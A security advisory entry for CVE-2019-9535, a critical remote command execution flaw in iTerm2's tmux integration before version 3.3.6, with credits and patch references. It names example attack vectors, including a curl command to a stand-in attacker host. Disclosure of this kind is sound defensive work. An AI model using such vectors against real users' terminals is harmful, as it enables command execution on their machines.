ASA-2019-00556 – iTerm2: Remote command execution via output to the terminal


Allele Security Alert

ASA-2019-00556

Identifier(s)

ASA-2019-00556, CVE-2019-9535

Title

Remote command execution via output to the terminal

Vendor(s)

George Nachman

Product(s)

iTerm2

Affected version(s)

iTerm2 versions before 3.3.6

Fixed version(s)

iTerm2 version 3.3.6

Proof of concept

Yes

Description

During the audit, Radically Open Security identified a critical vulnerability in the tmux integration feature of iTerm2. An attacker who can produce output to the terminal can, in many cases, execute commands on the user’s computer. Example attack vectors for this would be connecting to an attacker-controlled SSH server or commands like curl http://attacker.com and tail -f /var/log/apache2/referer_log.

Technical details

Unknown

Credits

Stefan Grönke and Fabian Freyer (Radically Open Security)

Reference(s)

Important security update — please upgrade!
https://groups.google.com/forum/m/#!topic/iterm2-discuss/57k_AuLdQa4

Critical Security Issue identified in iTerm2 as part of Mozilla Open Source Audit
https://blog.mozilla.org/security/2019/10/09/iterm2-critical-issue-moss-audit/

Do not send server-controlled values in tmux integration mode.
https://github.com/gnachman/iTerm2/commit/538d570ea54614d3a2b5724f820953d717fbeb0c

CVE-2019-9535
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9535

CVE-2019-9535
https://nvd.nist.gov/vuln/detail/CVE-2019-9535

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Last modified: October 9, 2019

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